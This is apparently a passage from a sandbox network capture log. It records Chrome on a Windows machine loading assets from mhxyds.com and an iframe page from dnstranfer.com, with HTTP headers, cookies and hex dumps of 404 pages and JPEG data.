2022-08-11 03:42:57 UTC 10883 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

189 118.27.105.118 443 192.168.11.20 60511 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10884 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:57 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:57 UTC 10884 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

19 192.168.11.20 50189 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 356 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

190 192.168.11.20 59578 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10884 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:57 UTC 10885 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 02 7a 7a 08 62 64 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 
29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: zzbdstaticcom)TP

Session ID Source IP Source Port Destination IP
Destination
Port

Process

191 192.168.11.20 63880 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10954 OUT GET /direct/index.html HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: iframe
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

192 172.64.145.85 443 192.168.11.20 59578 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10955 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:57 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6da1835bbad-FRA

2022-08-11 03:42:57 UTC 10955 IN Data Raw: 00 00 81 80 00 01 00 02 00 00 00 01 02 7a 7a 08 62 64 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 
05 00 01 00 00 1b 96 00 10 05 73 73 6c 7a 7a 07 6a 6f 6d 6f 64 6e 73 c0 18 c0 2d 00 01 00 01 00 00 00 3c 00 04 3a fe 96 
30 00 00 29 04 d0 00 00 00 00 01 7c 00 0c 01 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: zzbdstaticcomsslzzjomodns-<:0)|x

Session ID Source IP Source Port Destination IP
Destination
Port

Process

193 192.168.11.20 63869 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:57 UTC 10956 OUT GET /jpg/hero_banner_746x419_peic_3656fa.jpg?h=419&la=en&mw=800&w=746&hash=7C1F89192750291
213D694E248308C865C3F5668 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

194 192.168.11.20 58078 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:58 UTC 10957 OUT GET /Resources/PerpetualPEIC/img/ajax-loader.gif HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

195 192.168.11.20 52069 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:58 UTC 10958 OUT GET /img/logo-footer.svg HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

196 192.168.11.20 55364 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:58 UTC 10959 OUT GET /jpg/webinar-banner-1-1665-x-5503649.jpg?w=1000&hash=C46449DD65874A2AC83E8E310F0A237DE1101A22 
HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

197 47.243.100.207 443 192.168.11.20 63880 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:58 UTC 10960 IN HTTP/1.1 200 OK
etag: "2bc-62f120b1-202f2f;br"
last-modified: Mon, 08 Aug 2022 14:41:53 GMT
content-type: text/html
content-length: 700
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:42:58 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:42:58 UTC 10961 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 20 6d 
69 70 3d 22 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 
55 54 46 2d 38 22 3e 0d 0a 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 
74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2
d 38 22 3e 0d 0a 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 
61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 0d 0a 09 3c 6d 65 74 61 20 6e 61 
6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 
Data Ascii: <!DOCTYPE html><html lang="zh" mip=""><head>    <meta charset="UTF-8">    <meta http-equiv="Content-
Type" content="text/html; charset=UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name
='robots' content='noi

Session ID Source IP Source Port Destination IP
Destination
Port

Process

198 118.27.105.118 443 192.168.11.20 58078 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:58 UTC 10961 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:58 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:58 UTC 10962 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

199 118.27.105.118 443 192.168.11.20 52069 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:58 UTC 10962 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:58 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:58 UTC 10962 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.11.20 49880 172.217.168.237 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:36 UTC 32 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: CONSENT=YES+srp.gws-20210811-0-RC2.en+FX+979

2022-08-11 03:42:36 UTC 32 OUT Data Raw: 20 
Data Ascii:  

Session ID Source IP Source Port Destination IP
Destination
Port

Process

20 192.168.11.20 57596 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 357 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

200 118.27.105.118 443 192.168.11.20 63869 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:58 UTC 10963 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:58 GMT
Content-Type: image/jpeg
Content-Length: 22356
Last-Modified: Tue, 14 Apr 2020 16:42:02 GMT
Connection: close
ETag: "5e95e7da-5754"
Expires: Sat, 10 Sep 2022 03:42:58 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:58 UTC 10963 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 8d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 
2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 
20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 
Data Ascii: ExifII*Ducky<http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF 
xm

2022-08-11 03:42:58 UTC 10979 IN Data Raw: 92 49 20 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 42 00 0d b6 db 6d b6 db 6d b6 40 01 49 
24 92 48 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 90 80 03 ff 00 cc 4d 69 bb 1b 6d 90 00 52 49 24 92 
09 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 20 00 d1 4e e5 6e 51 42 d1 64 00 14 92 49 24 82 49 24 92 
49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 08 00 3c e1 fb a4 92 45 95 59 00 05 24 92 49 20 92 49 24 92 49 24 92 
49 24 92 49 24 92 49 24 92 49 24 92 42 00 07 84 17 a0 be db 6d b6 40 01 49 24 92 48 24 92 49 24 92 49 24 92 49 24 92 
49 24 92 49 24 92 49 24 90 80 01 4d ed 6c 3f 36 db 6d 90 00 52 49 24 92 09 24 92 49 24 92 49 24 92 49 24 92 49 24 92 
49 24 92 49 24 20 00 7e ed c7 36 0c ca 5c a4 00 14 92 49 24 82 49 24 92 49 
Data Ascii: I I$I$I$I$I$I$Bmm@I$H$I$I$I$I$I$I$MimRI$$I$I$I$I$I$I$ NnQBdI$I$I$I$I$I$I$I<EY$I I$I$I$I$I$I$Bm@I$H
$I$I$I$I$I$I$Ml?6mRI$$I$I$I$I$I$I$ ~6\I$I$I

Session ID Source IP Source Port Destination IP
Destination
Port

Process

201 192.168.11.20 53515 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:59 UTC 10985 OUT GET /lipgupiao/assets/css/popup_skycodec.css HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://dnstranfer.com/direct/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

202 118.27.105.118 443 192.168.11.20 55364 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:59 UTC 10986 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:58 GMT
Content-Type: image/jpeg
Content-Length: 38544
Last-Modified: Thu, 26 Mar 2020 14:27:20 GMT
Connection: close
ETag: "5e7cbbc8-9690"
Expires: Sat, 10 Sep 2022 03:42:58 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes
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2022-08-11 03:42:59 UTC 10986 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 01 4a 03 e8 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CCJ"}!1AQa"q2

